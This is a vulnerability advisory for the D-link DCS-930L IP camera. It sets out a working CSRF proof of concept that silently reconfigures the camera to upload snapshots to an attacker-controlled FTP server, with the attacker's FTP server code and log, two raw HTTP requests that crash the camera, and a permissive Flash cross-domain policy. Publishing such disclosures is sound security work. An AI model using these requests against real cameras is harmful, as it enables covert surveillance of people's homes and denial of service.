D-link DCS-930L - Security Advisory
Security Advisory | D-link DCS-930L IP-camera (multiple vulnerabilities) |
---|---|
Discovered by | Robin Stenvi |
Vendor Notification | September 6, 2017 |
Product | D-link DCS-930L |
Firmware | 2.14.04 (2016-09-09) |
Hardware | Version B2 |
Affected products
Only one product has been tested, however other products may be affected. The test was performed on the following:
- D-link DCS-930L, Firmware version 2.14.04, Hardware version B2
Technical Details
The technical details are included below.
Cross-Site-Request-Forgery (CSRF) - FTP settings
When confidential data is sent to the server (like password), the data is enciphered with the sessionKey. The sessionKey is simply a UNIX timestamp generated when booted or during reset. The sessionKey is sent to the server along with the data it enciphers and it therefore serves no purpose in providing confidentiality. It could have been used for CSRF-protection, however the client can chose a different key and the server will still accept and decipher the data.
The functionality for configuring an FTP-server to upload camera images has been verified to be vulnerable to CSRF, however several more functions might be vulnerable.
There is one other barrier for CSRF-exploitation, the referer-header is checked. This check however, has a vulnerability, it does not verify a trailing path after IP address. In other words, http://192.168.0.16 is valid and so is http://192.168.0.16.example.com/. An attacker can therefore simply create a subdomain with the IP address and launch the CSRF-attack from this domain.
In the PoC below the following was configured:
- Attacker is at the IP address 192.168.0.15
- The domain name 192.168.0.16.example.com resolves to 192.168.0.15
- The file function.js has been copied from the IP camera to use the encrypt-function.
An overview of the code is described below:
- SessionKey has been set to ‘1’
- IP and port for FTP has been set to 192.168.0.15:2121
- Request instructs the camera to upload a picture to the FTP-server every 5 seconds
- Password has been set to ‘password’ and before the request is submitted, this value will be enciphered with the key ‘1’.
<html>
<head>
<script src="http://192.168.0.15/function.js"></script>
</head>
<body>
<form id="form" action="http://192.168.0.16/setSystemFTP" method="POST">
<input type="hidden" id="ReplySuccessPage" name="ReplySuccessPage" value="upload.htm">
<input type="hidden" id="ReplyErrorPage" name="ReplyErrorPage" value="errrftp.htm">
<input type="hidden" id="FTPScheduleEnable" name="FTPScheduleEnable" value="1">
<input type="hidden" id="FTPScheduleDay" name="FTPScheduleDay" value="0">
<input type="hidden" id="FTPCreateFolderInterval" name="FTPCreateFolderInterval" value="0">
<input type="hidden" id="SessionKey" name="SessionKey" value="1">
<input type="text" id="FTPHostAddress" name="FTPHostAddress" value="192.168.0.15">
<input type="text" id="FTPPortNumber" name="FTPPortNumber" value="2121">
<input type="text" id="FTPUserName" name="FTPUserName" value="user">
<input type="password" id="FTPPassword" name="FTPPassword" value="password">
<input type="text" id="FTPDirectoryPath" name="FTPDirectoryPath" value="/">
<input type="text" id="FTPPassiveMode" name="FTPPassiveMode" value="1">
<input type="text" id="FTPScheduleMode" name="FTPScheduleMode" value="0">
<input type="text" id="FTPScheduleFramePerSecond" name="FTPScheduleFramePerSecond" value="1">
<input type="text" id="FTPScheduleFramePerSecondSel" name="FTPScheduleFramePerSecondSel" value="1">
<input type="text" id="FTPScheduleVideoFrequencyMode" name="FTPScheduleVideoFrequencyMode" value="1">
<input type="text" id="FTPScheduleSecondPerFrame" name="FTPScheduleSecondPerFrame" value="5">
<input type="text" id="FTPScheduleBaseFileName" name="FTPScheduleBaseFileName" value="DCS">
<input type="text" id="ConfigSystemFTP" name="ConfigSystemFTP" value=" Save ">
</form>
</body>
<script>
var pass = document.getElementById("FTPPassword").value;
var sess = document.getElementById("SessionKey").value;
document.getElementById("FTPPassword").value = EncryptPass(pass, sess);
document.getElementById('form').submit();
</script>
</html>
A brief overview of how the password has been enciphered is shown below:
function EncryptPass(input, privatekey) {
var input_hex = str2hexstr(input);
var privatekey_hex = str2hexstr(privatekey);
var encrypted = AES_Encrypt128(input_hex, privatekey_hex);
return encrypted;
}
The request sent after the victim visits the web site is shown below (notice the referer-header).
POST /setSystemFTP HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 394
Referer: http://192.168.0.16.example.com/
Authorization: Basic YWRtaW46
Connection: close
ReplySuccessPage=upload.htm&ReplyErrorPage=errrftp.htm&FTPScheduleEnable=0&FTPScheduleDay=0&
FTPCreateFolderInterval=0&SessionKey=1&FTPHostAddress=192.168.0.15&FTPPortNumber=2121&
FTPUserName=user&FTPPassword=[password enciphered]&FTPDirectoryPath=%2F&
FTPPassiveMode=1&ConfigSystemFTP=+Save+
Running on port 2121 is the following code:
$ cat ftp.py
#!/usr/bin/env python
from pyftpdlib import servers
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.authorizers import DummyAuthorizer
authorizer = DummyAuthorizer()
authorizer.add_user("user", "password", ".", perm='elradfmwM')
handler = FTPHandler
handler.authorizer = authorizer
address = ("0.0.0.0", 2121)
server = servers.FTPServer(address, handler)
server.serve_forever()
After the request has been sent, the following will happen.
$ python ftp.py
[I 17-08-29 21:27:18] >>> starting FTP server on 0.0.0.0:2121, pid=6236 <<<
[I 17-08-29 21:27:18] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 17-08-29 21:27:18] masquerade (NAT) address: None
[I 17-08-29 21:27:18] passive ports: None
[I 17-08-29 21:27:18] use sendfile(2): True
[I 17-08-29 21:28:42] 192.168.0.16:4830-[] FTP session opened (connect)
[I 17-08-29 21:28:42] 192.168.0.16:4830-[user] USER 'user' logged in.
[I 17-08-29 21:28:42] 192.168.0.16:4830-[user] STOR ./DCS2016010100020001.jpg completed=1
bytes=5065 seconds=0.01
With this attack, an attacker is able to view a live feed of the camera. If the user has not changed their default password, an attacker can potentially perform this without the user being authenticated on the camera.
Denial of Service (DoS)
Two denial of service (DoS) vulnerabilities exist in the camera. Behaviour in both cases is that the camera becomes unresponsive and a hardware reset is necessary to make the camera usable again.
The first example is shown below:
POST /cgi-bin/upload.cgi HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Referer: http://192.168.0.16/advanced.htm
Authorization: Basic YWRtaW46
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
The second example is shown below:
POST /cgi-bin/upload_settings.cgi HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Referer: http://192.168.0.16/advanced.htm
Authorization: Basic YWRtaW46
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Wide cross-domain policy for Adobe Flash Player
Cross-Origin Resource Sharing for Adobe is shown below.
GET /crossdomain.xml HTTP/1.1
Host: 192.168.0.16
Authorization: Basic YWRtaW46
Connection: close
The result indicates that all origins are allowed.
HTTP/1.0 200 OK
Server: alphapd
Date: Sat Jan 1 00:00:03 2000
Last-modified: Sat Jan 1 00:00:03 2000
Content-type: text/xml
Content-length: 215
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
The results have not been verified in an attack and there is therefore some uncertainty regarding the actual risk of this weakness.